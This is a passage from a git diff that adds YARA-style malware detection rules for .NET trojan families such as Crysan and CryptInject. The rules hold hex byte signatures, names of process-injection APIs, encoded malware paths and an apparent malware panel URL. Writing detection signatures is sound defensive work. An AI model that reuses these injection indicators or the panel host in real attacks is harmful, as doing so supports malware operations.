1)*10+(#a_01_2 & 1)*9) >=29 + +} +rule Trojan_BAT_CryptInject_BSA_MTB_2{ + meta: + description = "Trojan:BAT/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 02 00 00 " + + strings : + $a_03_0 = {41 6d 65 63 64 2e 65 78 65 00 41 6d 65 63 64 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4d 65 6d 62 65 72 52 65 66 73 50 72 6f 78 79 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 6f 75 73 65 4f 66 43 } //13 + $a_01_1 = {32 62 37 33 63 35 31 63 2d 39 64 35 33 2d 34 61 34 30 2d 38 32 36 39 2d 61 35 33 34 37 38 66 61 31 36 64 34 } //10 2b73c51c-9d53-4a40-8269-a53478fa16d4 + condition: + ((#a_03_0 & 1)*13+(#a_01_1 & 1)*10) >=23 + +} +rule Trojan_BAT_CryptInject_BSA_MTB_3{ + meta: + description = "Trojan:BAT/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,26 00 26 00 04 00 00 " + + strings : + $a_01_0 = {d0 3b 00 00 01 2b 17 7e 71 00 00 04 20 56 c0 66 06 2b 12 2b 17 2b 1c 2b 1d 2b 22 2b 27 2a } //10 + $a_01_1 = {2b e2 02 2b e1 28 43 00 00 0a 2b dc 28 01 00 00 2b 2b d7 6f 45 00 00 0a 2b d2 } //10 + $a_01_2 = {4d 65 6d 62 65 72 52 65 66 73 50 72 6f 78 79 } //9 MemberRefsProxy + $a_01_3 = {53 6d 61 72 74 41 73 73 65 6d 62 6c 79 2e 48 6f 75 73 65 4f 66 43 61 72 64 73 } //9 SmartAssembly.HouseOfCards + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*9+(#a_01_3 & 1)*9) >=38 + +} +rule Trojan_BAT_CryptInject_BSA_MTB_4{ meta: description = "Trojan:BAT/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 08 00 00 " diff --git a/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_DAB_MTB.yar b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_DAB_MTB.yar new file mode 100644 index 0000000000..ea02465b48 --- /dev/null +++ b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_DAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_CryptInject_DAB_MTB{ + meta: + description = "Trojan:BAT/CryptInject.DAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {1a 8d 05 00 00 01 0c 07 08 16 1a 6f 0d 00 00 0a 26 08 16 28 0e 00 00 0a 26 07 16 73 0f 00 00 0a 0d 09 06 6f 10 00 00 0a 06 6f 0a 00 00 0a 13 04 dd 27 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_JYAA_MTB.yar b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_JYAA_MTB.yar new file mode 100644 index 0000000000..6a04e3f459 --- /dev/null +++ b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_JYAA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_CryptInject_JYAA_MTB{ + meta: + description = "Trojan:BAT/CryptInject.JYAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {0c 08 66 0c 08 17 58 0c 08 66 0c 08 07 61 0c } //2 + $a_03_1 = {06 07 17 58 6f ?? 00 00 0a 28 ?? 00 00 0a 0a 07 17 58 0b } //2 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_MBZ_MTB.yar b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_MBZ_MTB.yar new file mode 100644 index 0000000000..1dad2840e3 --- /dev/null +++ b/Trojan/BAT/CryptInject/Trojan_BAT_CryptInject_MBZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_CryptInject_MBZ_MTB{ + meta: + description = "Trojan:BAT/CryptInject.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {62 00 63 00 59 00 72 00 4a 00 79 00 41 00 79 00 50 00 66 00 } //2 bcYrJyAyPf + $a_01_1 = {65 35 37 39 62 61 65 66 61 65 35 38 } //1 e579baefae58 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/CryptoObf/Trojan_BAT_CryptoObf_CI_MTB.yar b/Trojan/BAT/CryptoObf/Trojan_BAT_CryptoObf_CI_MTB.yar new file mode 100644 index 0000000000..d734339467 --- /dev/null +++ b/Trojan/BAT/CryptoObf/Trojan_BAT_CryptoObf_CI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_CryptoObf_CI_MTB{ + meta: + description = "Trojan:BAT/CryptoObf.CI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {70 0a 06 28 ?? 00 00 0a 25 26 0b 28 4b 00 00 0a [0-02] 07 16 07 8e 69 6f 4c 00 00 0a 25 26 0a 28 ?? 00 00 0a 25 26 06 6f ?? 00 00 0a [0-03] 0c 1f 61 6a 08 28 27 00 00 06 25 26 80 08 00 00 04 } //2 + $a_01_1 = {4d 61 6c 69 63 69 6f 75 73 50 72 6f 67 72 61 6d } //1 MaliciousProgram + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AB_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AB_MTB.yar new file mode 100644 index 0000000000..a74a1a9382 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_AB_MTB{ + meta: + description = "Trojan:BAT/Crysan.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0a 0b 20 00 04 00 00 8d 46 00 00 01 0c 38 09 00 00 00 07 08 16 09 6f 69 00 00 0a 06 08 16 08 8e 69 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACA_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACA_MTB.yar new file mode 100644 index 0000000000..f4fe5859cd --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_ACA_MTB{ + meta: + description = "Trojan:BAT/Crysan.ACA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0a 16 0b 2b 1e 06 07 02 07 6f ?? 00 00 0a 03 07 03 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d1 9d 07 17 58 0b 07 02 6f ?? 00 00 0a fe 04 0c 08 } //3 + $a_03_1 = {0a 07 17 6f ?? 00 00 0a 0c 00 08 2d 02 2b 18 08 06 72 ?? 00 00 70 02 72 ?? 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 00 00 de 0b 08 2c 07 08 6f } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACR_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACR_MTB.yar index 9178954346..79eb0dcdad 100644 --- a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACR_MTB.yar +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACR_MTB.yar @@ -39,4 +39,14 @@ rule Trojan_BAT_Crysan_ACR_MTB_4{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 +} +rule Trojan_BAT_Crysan_ACR_MTB_5{ + meta: + description = "Trojan:BAT/Crysan.ACR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 06 2b 73 11 06 6f ?? 00 00 0a 74 ?? 00 00 01 13 07 00 1b 28 ?? 00 00 0a 00 07 11 07 6f ?? 00 00 0a 6f ?? 00 00 0a 13 08 11 08 2c 49 00 1f 0e 28 ?? 00 00 0a 00 72 ?? 04 00 70 11 04 6f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + } \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACY_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACY_MTB.yar index 8f08ed5c74..328fb21c3c 100644 --- a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACY_MTB.yar +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ACY_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_Crysan_ACY_MTB{ + meta: + description = "Trojan:BAT/Crysan.ACY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {06 8e 69 17 58 20 00 30 00 00 1f 40 28 ?? 00 00 06 13 05 11 05 7e ?? 00 00 0a 28 ?? 00 00 0a 13 0c 11 0c 2c 05 ?? ?? ?? ?? ?? 11 04 11 05 06 06 8e 69 12 0e 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Crysan_ACY_MTB_2{ meta: description = "Trojan:BAT/Crysan.ACY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AE_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AE_MTB.yar new file mode 100644 index 0000000000..c29e53d231 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_AE_MTB{ + meta: + description = "Trojan:BAT/Crysan.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 a6 c5 6b cd 80 9e 00 00 04 17 80 9f 00 00 04 72 d7 0a 00 70 80 a0 00 00 04 17 80 a1 00 00 04 72 05 0b 00 70 80 a2 00 00 04 21 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AIBB_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AIBB_MTB.yar new file mode 100644 index 0000000000..1b499c2def --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AIBB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Crysan_AIBB_MTB{ + meta: + description = "Trojan:BAT/Crysan.AIBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 00 " + + strings : + $a_01_0 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 } //1 VirtualAllocEx + $a_01_1 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 } //1 WriteProcessMemory + $a_01_2 = {43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 } //1 CreateRemoteThread + $a_01_3 = {51 00 7a 00 70 00 63 00 55 00 48 00 4a 00 76 00 5a 00 33 00 4a 00 68 00 62 00 55 00 52 00 68 00 64 00 47 00 46 00 63 00 54 00 57 00 6c 00 6a 00 63 00 6d 00 39 00 7a 00 62 00 32 00 5a 00 30 00 58 00 45 00 56 00 6b 00 5a 00 32 00 56 00 56 00 63 00 47 00 52 00 68 00 64 00 47 00 55 00 75 00 5a 00 47 00 78 00 73 00 } //10 QzpcUHJvZ3JhbURhdGFcTWljcm9zb2Z0XEVkZ2VVcGRhdGUuZGxs + $a_01_4 = {63 00 32 00 6c 00 6f 00 62 00 33 00 4e 00 30 00 } //5 c2lob3N0 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*5) >=18 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYA_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYA_MTB.yar new file mode 100644 index 0000000000..e843db3fda --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_AYA_MTB{ + meta: + description = "Trojan:BAT/Crysan.AYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 21 2b 37 00 11 0a 11 21 11 20 6f ?? 00 00 0a 13 22 11 0c 12 22 28 ?? 00 00 0a 1f 10 62 12 22 28 ?? 00 00 0a 1e 62 60 12 22 28 ?? 00 00 0a 60 6a 61 13 0c 00 11 21 19 58 13 21 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYC_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYC_MTB.yar new file mode 100644 index 0000000000..a2ffd369da --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_AYC_MTB{ + meta: + description = "Trojan:BAT/Crysan.AYC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {13 04 16 13 05 2b 1d 09 02 11 05 6f ?? 00 00 0a 06 61 d1 28 ?? 00 00 0a 28 ?? 00 00 0a 0d 11 05 17 58 13 05 11 05 11 04 } //2 + $a_03_1 = {1e 5a 0a 06 1f 40 33 16 7e ?? 00 00 0a 7e ?? 00 00 04 28 ?? 00 00 06 80 06 00 00 04 2b 19 06 1f 20 33 14 7e ?? 00 00 0a 7e } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYS_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYS_MTB.yar new file mode 100644 index 0000000000..e4012b069c --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_AYS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_AYS_MTB{ + meta: + description = "Trojan:BAT/Crysan.AYS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {1e 5a 0a 06 1f 40 fe 01 0b 07 2c 18 00 7e ?? 00 00 0a 7e ?? 00 00 04 28 ?? 00 00 06 80 04 00 00 04 00 2b 1f 06 1f 20 fe 01 0c 08 2c 16 } //2 + $a_03_1 = {02 03 8e 69 20 00 10 00 00 1f 40 28 ?? 00 00 06 0a 06 7e ?? 00 00 0a 28 ?? 00 00 0a 0b 07 2c 0b 28 ?? 00 00 0a 73 ?? 00 00 0a 7a 03 16 06 03 8e 69 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_BAA_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_BAA_MTB.yar new file mode 100644 index 0000000000..34a61ce6b8 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_BAA_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_Crysan_BAA_MTB{ + meta: + description = "Trojan:BAT/Crysan.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {03 04 05 06 58 0e 04 06 59 ?? ?? ?? ?? ?? 0b 07 3a 0b 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7a 06 07 58 0a 06 0e 04 32 d7 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_BAT_Crysan_BAA_MTB_2{ + meta: + description = "Trojan:BAT/Crysan.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {6f 11 00 00 0a 0c 08 6f 12 00 00 0a 0d 09 02 16 02 8e 69 6f 13 00 00 0a 13 04 dd 1a 00 00 00 09 39 06 00 00 00 09 6f 0b 00 00 0a dc 08 39 06 00 00 00 08 6f 0b 00 00 0a dc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_BAB_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_BAB_MTB.yar new file mode 100644 index 0000000000..ed14a79898 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_BAB_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_Crysan_BAB_MTB{ + meta: + description = "Trojan:BAT/Crysan.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {0a 73 56 00 00 0a 0b 1a 8d 06 00 00 01 0c 06 08 16 1a 6f 35 00 00 0a 1a 2e 06 73 5a 00 00 0a 7a 06 16 73 5b 00 00 0a 0d 09 07 6f 57 00 00 0a de 07 09 6f 59 00 00 0a dc 07 6f 58 00 00 0a 13 04 de 0e 07 6f 59 00 00 0a dc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_BAT_Crysan_BAB_MTB_2{ + meta: + description = "Trojan:BAT/Crysan.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 02 11 01 6f 17 00 00 0a 38 00 00 00 00 11 02 6f 18 00 00 0a 13 03 38 0e 00 00 00 11 02 11 00 6f 19 00 00 0a 38 d6 ff ff ff 00 02 73 1a 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 1b 00 00 0a 13 05 38 00 00 00 00 00 73 1c 00 00 0a 13 06 38 00 00 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EAFS_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EAFS_MTB.yar new file mode 100644 index 0000000000..22dfe6bffe --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EAFS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_EAFS_MTB{ + meta: + description = "Trojan:BAT/Crysan.EAFS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {08 23 00 00 00 00 00 00 f0 3f 11 04 6c 23 00 00 00 00 00 00 24 40 5b 28 cd 00 00 0a 23 7b 14 ae 47 e1 7a 94 3f 5a 58 5a 0c 11 04 17 d6 13 04 11 04 09 31 cc } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EARX_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EARX_MTB.yar new file mode 100644 index 0000000000..fdd6b7c2d5 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EARX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_EARX_MTB{ + meta: + description = "Trojan:BAT/Crysan.EARX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {02 8e 69 8d 0b 00 00 01 0a 16 0b 38 25 00 00 00 02 07 91 0c 08 18 28 06 00 00 06 0c 08 03 59 07 59 20 ff 00 00 00 5f d2 0c 08 66 d2 0c 06 07 08 9c 07 17 58 0b 07 02 8e 69 32 d5 06 2a } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EAZE_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EAZE_MTB.yar new file mode 100644 index 0000000000..e71c5aea27 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EAZE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_EAZE_MTB{ + meta: + description = "Trojan:BAT/Crysan.EAZE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {00 0f 00 08 20 00 04 00 00 58 28 01 00 00 2b 00 07 02 08 20 00 04 00 00 6f 13 00 00 0a 0d 08 09 58 0c 09 20 00 04 00 00 fe 04 13 04 11 04 2c 0c 00 0f 00 08 28 01 00 00 2b 00 2b 06 00 17 13 05 2b be } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EHHL_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EHHL_MTB.yar new file mode 100644 index 0000000000..03d3a14cb5 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EHHL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_EHHL_MTB{ + meta: + description = "Trojan:BAT/Crysan.EHHL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {11 07 11 0e 11 10 11 0e 6c 11 10 6c ?? ?? ?? ?? ?? 11 0e 11 10 d6 17 d6 6c 5b ?? ?? ?? ?? ?? 11 10 17 d6 13 10 11 10 11 0f 31 d5 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ENTP_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ENTP_MTB.yar new file mode 100644 index 0000000000..7cb7ea7d88 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ENTP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_ENTP_MTB{ + meta: + description = "Trojan:BAT/Crysan.ENTP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {03 08 03 08 91 08 04 ?? ?? ?? ?? ?? 9c 08 17 d6 0c 08 07 31 eb } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EPO_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EPO_MTB.yar new file mode 100644 index 0000000000..253d4c2c44 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EPO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_EPO_MTB{ + meta: + description = "Trojan:BAT/Crysan.EPO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 2a 11 0b 1d 5f 91 13 1e 11 1e 19 62 11 1e 1b 63 60 d2 13 1e 11 06 11 0b 11 06 11 0b 91 11 1e 61 d2 9c 17 11 0b 58 13 0b 11 0b 11 07 32 d1 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EYII_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EYII_MTB.yar new file mode 100644 index 0000000000..ab97189f3f --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_EYII_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Crysan_EYII_MTB{ + meta: + description = "Trojan:BAT/Crysan.EYII!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 2a 1d 11 0b 5f 91 13 1e 11 1e 19 62 11 1e 1b 63 60 d2 13 1e 11 06 11 0b 11 06 11 0b 91 11 1e 61 d2 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_GVA_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_GVA_MTB.yar new file mode 100644 index 0000000000..f0e775bbb4 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_GVA_MTB{ + meta: + description = "Trojan:BAT/Crysan.GVA!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {3a 00 2f 00 2f 00 61 00 70 00 73 00 74 00 6f 00 72 00 69 00 2e 00 72 00 75 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 } //2 ://apstori.ru/panel + $a_01_1 = {52 00 67 00 79 00 4e 00 4f 00 37 00 46 00 71 00 6e 00 } //1 RgyNO7Fqn + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_GVB_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_GVB_MTB.yar new file mode 100644 index 0000000000..f6e199862c --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_GVB_MTB{ + meta: + description = "Trojan:BAT/Crysan.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {7e 05 00 00 04 25 39 05 00 00 00 38 17 00 00 00 26 7e 04 00 00 04 fe 06 0f 00 00 06 73 07 00 00 0a 25 80 05 00 00 04 28 01 00 00 2b 13 02 } //1 + $a_01_1 = {0b 07 20 c0 00 00 00 5f 20 c0 00 00 00 40 2d 00 00 00 07 20 c0 00 00 00 61 1e 62 02 28 c1 02 00 06 60 0c 02 7b 14 01 00 04 08 6f 11 01 00 0a 0d 02 7b 14 01 00 04 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_NC_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_NC_MTB.yar new file mode 100644 index 0000000000..d3a487e42d --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_NC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_NC_MTB{ + meta: + description = "Trojan:BAT/Crysan.NC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {73 79 04 00 06 0a 06 03 7d bf 00 00 04 02 6f 0c 00 00 0a 06 fe 06 7a 04 00 06 73 0d 00 00 0a 28 04 00 00 2b 25 } //3 + $a_01_1 = {28 09 00 00 0a 02 6f 0a 00 00 0a 0a dd 07 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_PGC_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_PGC_MTB.yar new file mode 100644 index 0000000000..abc46df752 --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_PGC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_PGC_MTB{ + meta: + description = "Trojan:BAT/Crysan.PGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_80_0 = {31 33 34 33 32 44 34 35 34 33 35 6f 34 33 36 35 77 36 35 6e 34 36 6c 35 37 35 6f 37 35 61 34 64 35 36 53 33 74 35 34 33 35 72 34 69 35 6e 36 35 34 36 67 35 33 35 32 33 34 32 33 } //13432D45435o4365w65n46l575o75a4d56S3t5435r4i5n6546g53523423 4 + $a_80_1 = {31 30 39 3d 37 39 32 38 41 39 36 37 33 38 2f 35 36 34 37 35 34 6d 36 34 31 35 36 5d 34 35 32 36 33 73 35 33 33 34 27 35 33 34 34 35 33 34 69 35 34 31 33 35 53 32 34 32 63 33 32 34 33 32 33 61 34 5b 31 5b 32 6e 33 5d 34 42 31 5b 32 5b 33 75 34 66 31 66 32 5d 33 5d 34 5b 31 65 32 33 5d 34 33 31 32 32 72 33 } //109=7928A96738/564754m64156]45263s5334'5344534i54135S242c324323a4[1[2n3]4B1[2[3u4f1f2]3]4[1e23]43122r3 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git 